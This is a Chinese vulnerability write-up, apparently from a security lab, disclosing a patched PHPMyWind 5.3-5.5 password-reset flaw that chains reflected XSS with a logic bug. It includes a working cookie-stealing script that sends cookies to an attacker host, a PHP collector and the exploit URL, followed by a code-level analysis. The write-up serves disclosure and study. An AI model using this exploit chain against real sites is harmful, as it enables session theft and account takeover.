【安全研究】原创漏洞：PHPMyWind CMS产品任意密码重置漏洞研究分析

admin

101400
文章

87
评论

2023年1月8日18:22:48评论74 views字数 7319阅读24分23秒阅读模式

↑ 点击上方“安全狗”关注我们

近期，安全狗海青实验室的安全研究人员发现了一个PHPMyWind的任意密码重置漏洞。

PHPMyWind是一套基于PHP和MySQL并符合W3C标准的企业网站建设解决方案，拥有着较大的用户群体(根据PHPMyWind官网介绍，已下载超15万次)。

【安全研究】原创漏洞：PHPMyWind CMS产品任意密码重置漏洞研究分析

该“任意密码重置漏洞”联合利用了“反射型XSS漏洞”与“逻辑漏洞”。攻击者可以利用该“反射型XSS漏洞”，通过诱使受害者点击恶意链接，窃取受害者的Cookie；接着，攻击者可以利用Cookie伪造受害者身份，利用该“逻辑漏洞”修改“受害者的密保问题”，进而达到重置受害者密码的目的。

海青实验室已经将该漏洞报送给CNVD与CNNVD平台，同时通知厂商修复该漏洞，并就该漏洞发布了相关预警：【安全预警】PHPMyWind 5.3-5.5任意密码重置漏洞。现在厂家已发布修复漏洞的新版本，我们将公开详细的漏洞技术细节，供业内讨论学习。

漏洞名称	PHPMyWind 5.3-5.5任意密码重置漏洞
漏洞影响产品版本（范围）	5.3-5.5
漏洞危害等级	中危
厂商是否已发布漏洞补丁	是
安全狗总预警期数	74
安全狗预警版本	V2.0
安全狗发布预警日期	2019年3月11日
安全狗更新预警日期	2019年3月21日
发布者	安全狗海青实验室

一、漏洞验证

1、环境搭建

在漏洞环境搭建时，设置有“服务器”“攻击者”以及“受害者”这三方。漏洞验证实验环境的情况如表1所示。

参与方	IP地址	备注
服务器	192.168.114.159	部署有“PHPMyWind 5.5”
攻击机（safedog）	192.168.114.1	部署有能“收集PHPMyWind用户的Cookie”的PHP脚本、JS脚本
受害者（victim）	192.168.114.161	可通过浏览器访问“服务器”上的“PHPMyWind”网站

表1 实验环境情况表

漏洞验证实验的示意图如图1所示：

图 1 漏洞验证实验的示意图

箭头1代表攻击者safedog通过邮件等方式发送恶意链接（嵌有可盗取并发送Cookie的JS脚本）给受害者victim；

箭头2代表在受害者victim受诱导点击恶意链接后，会经由浏览器将攻击者safedog嵌入的JS脚本当做数据发送给服务器上的PHPMyWind网站的反射型XSS漏洞点；

箭头3与箭头4代表PHPMyWind网站在受到反射型XSS攻击后，会执行JS脚本，将受害者victim的Cookie返回给受害者victim，并发送给攻击者safedog。

箭头5代表攻击者safedog在获得受害者victim的Cookie后，利用受害者victim的Cookie与PHPMyWind网站的逻辑漏洞点进行密码重置攻击。

2、验证步骤

漏洞验证过程分为以下8步：

1）在网站注册2个测试账号（攻击者、受害者）；

2）攻击者和受害者都登录网站的会员中心；

3）攻击者搭建可接收受害者Cookie的PHP网站；

4）攻击者使用BurpSuite抓取“重置账号密码”的数据包；

5）攻击者向受害者的邮箱发送可触发反射型XSS漏洞的超链接的邮件（该反射型XSS漏洞可致受害者Cookie泄露）；

6）受害者点击超链接（受害者的Cookie将被传输给攻击者搭建的网站）；

7）攻击者在获得受害者Cookie后，修改步骤4的“重置账号密码”的数据包，并向网站发送数据包，以期重置受害者的“密码找回答案和密码”。

8）攻击者利用网站的“密码找回”功能，重置受害者的登录密码，进而实现非法登录会员中心。

具体如下：

1）在网站注册2个测试账号（攻击者、受害者）

使用PHPMyWind的注册功能注册攻击者的账号safedog以及受害者的账号victim，通过PHPMyWind的管理后台可以发现safedog的ID为6，而受害者的ID为7，如图2所示。

图 2 攻击者safedog的ID为6，受害者victim的ID为7

2）攻击者和受害者都登录网站的会员中心

攻击者safedog的登录效果如图3所示。

图 3 攻击者safedog登录会员中心

受害者victim的登录效果如图4所示。

【安全研究】原创漏洞：PHPMyWind CMS产品任意密码重置漏洞研究分析

图 4 受害者victim登录会员中心

3）攻击者搭建可接收受害者Cookie的PHP网站

该PHP网站由“ReflectiveXSS.js”“ReflectiveXSS.php”和“cookie.txt”这3个文件构成。

其中“ReflectiveXSS.js”用于针对服务器端PHPMyWind网站的反射型XSS漏洞窃取受害者victim的Cookie，并将该Cookie值传输给ReflectiveXSS.php；“ReflectiveXSS.php”用于接收名为“victimcookie”的GET请求，并将“victimcookie”的参数值保存到“cookie.txt”。

ReflectiveXSS.js的代码如下：

//通过指定的名称'img'创建img元素

var img = document.createElement('img');

img.width = 0;

img.height = 0;

//将img元素的src属性指向脚本文件ReflectiveXSS.pho

//将cookie信息的字符串作为URI组件进行编码，然后用victimcookie参数传递

img.src = 'http://192.168.114.1/safedog-attack/ReflectiveXSS.php?victimcookie='+encodeURIComponent(document.cookie);

ReflectiveXSS.php的代码如下：

<?php

@ini_set('display_errors',1);

$str = $_GET['victimcookie'];

$filePath = "cookie.txt";

if(is_writable($filePath)==false){

echo "can't write";

}else{

$handler = fopen($filePath, 'a');

fwrite($handler, $str);

fclose($handler);

}

4）攻击者使用BurpSuite抓取“重置账号密码”的数据包

抓取的结果如图5所示，可以发现网页表单里的“提问：你其中一位老师的名字”对应着报文中的“question=4”，而“回答：kk”对应着报文中的“answer=kk”。

图 5 攻击者使用BurpSuite抓取“重置账号密码”的数据包

5）攻击者向受害者的邮箱发送可触发反射型XSS漏洞的超链接的邮件（该反射型XSS漏洞可致受害者Cookie泄露）

网站具有反射型XSS注入漏洞的的PoC如下：

http://192.168.114.159/phpmywind5-5/data/api/oauth/connect.php?method=unknownmethod%3Cscript%3Ealert(1)%3C/script%3E

该PoC的执行效果如图6所示。

图 6 PHPMyWind 5.5存在反射型XSS

修改PoC为如下EXP：

http://192.168.114.159/phpmywind5-5/data/api/oauth/connect.php?method=unknownmethod<script src=http://192.168.114.1/safedog-attack/ReflectiveXSS.js></script>

攻击者safedog利用该EXP编辑恶意的电子邮件（邮件正文的“Please Click the Link”的超链接指向了该EXP），并将之发送给受害者victim，如图7所示。

图 7 攻击者实施跨站脚本钓鱼攻击

6）受害者点击超链接（受害者的Cookie将被传输给攻击者搭建的网站）

受害者victim点击该超链接后，将会在不知情的情况下受到恶意JS脚本的攻击，自身在PHPMyWind网站的Cookie也会被泄露给攻击者，如图8所示。

图 8 受害者在不知情的情况下将Cookie发送给攻击者

7）攻击者在获得受害者Cookie后，修改步骤4的“重置账号密码”的数据包，并向网站发送数据包，以期重置受害者的“密码找回答案和密码”。

经过步骤6，攻击者safedog可以在其Cookie.txt文件中获得受害者victim的Cookie，如图9所示。

图 9 受害者victim的Cookie被保存到Cookie.txt文件中

接下来，攻击者safedog对BurpSuite的数据包进行修改。在BurpSuite的Repeater面板下进行如下操作：

(1)将攻击者safedog 的Cookie中的username、lastlogintime、lastloginip以及PHPSESSID替换成受害者victim的参数；

(2)将“password”和“repassword”字段的属性值置为空；

(3)将“id”修改为“7”（由图2可知，受害者的ID为7）；

(4)点击“Go”按钮。

返回结果如图10所示，我们可以发现网站给出了提示：“资料更新成功！”。这也代表了攻击者safedog成功重置了受害者victim的“密码找回问题及答案”。

图 10 攻击者safedog成功重置了受害者victim的“密码找回问题及答案”

8）攻击者利用网站的“密码找回”功能，重置受害者的登录密码，进而实现非法登录系统。

攻击者safedog访问网站的“会员中心/登录页面/找回密码”页面，以针对受害者victim的账号进行“找回密码”操作，如图11所示。

图 11 攻击者safedog针对受害者victim账号进行“找回密码”操作

选择“安全问题”为“你其中一位老师的名字”，填写“问题答案”为“kk”，并点击“找回密码”按钮，如图12所示（“安全问题”以及“问题答案”与图5对应）。

图 12 攻击者safedog针对受害者victim账号进行“安全问题验证找回”操作

此时，我们可以发现，可以通过“回答安全问题找回密码”的功能重置受害者victim的密码，如图13所示。

图 13 通过“安全问题验证”，攻击者safedog设置受害者victim的新密码

接着，攻击者safedog可以利用为受害者victim重置的密码登录网站，如图14所示。

【安全研究】原创漏洞：PHPMyWind CMS产品任意密码重置漏洞研究分析

图 14 攻击者safedog使用新密码登录受害者victim账号

二、漏洞原理分析

该“任意密码重置漏洞”联合利用了“逻辑漏洞”与“反射型XSS漏洞”，接下来对这两个漏洞进行具体分析。

1、逻辑漏洞

该漏洞出现的文件路径为：/member.php，具体位置如图15所示。

图 15 /member.php-逻辑漏洞

这段代码是用户在“会员中心/编辑资料”处进行密码修改的部分代码。

在第584行的if判断的作用是“判断用户提交的新密码是否为空”，第584-593行代码的逻辑是“在用户提交的新密码不为空的情况下，才会进行‘旧密码的比对’，如果提交的旧密码和数据库的查询结果不一致，则不允许继续进行更换密码的操作。”；而在第596行的if判断的作用仍为“判断用户提交的新密码是否为空”，第596-600行代码的逻辑是“在用户提交的新密码不为空的情况下，对新密码进行哈希运算，随后进行SQL语句的拼接”。第584以及第596行存在了逻辑漏洞。因为，如果我们提交的新密码（password变量和repassword变量）为空，则可以绕过对旧密码（oldpassword变量）的验证。这为“攻击者在不知道受害者原始密码的情况下，重置受害者密码”创造了可能。

继续审计第601行以及第602行。第601行进行SQL语句的拼接，第602行执行则进行SQL语句的执行。第601行的SQL语句如下：

@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id='$id' AND `username`='$c_uname'";

可以发现，当SQL语句满足条件“id='$id' AND `username`='$c_uname'";”时，才可进行update操作。

这个SQL语句的id来源于$id，即$_GET[‘id’]或$_POST[‘id’]，而username来源于$c_uname，具体位置如图16所示。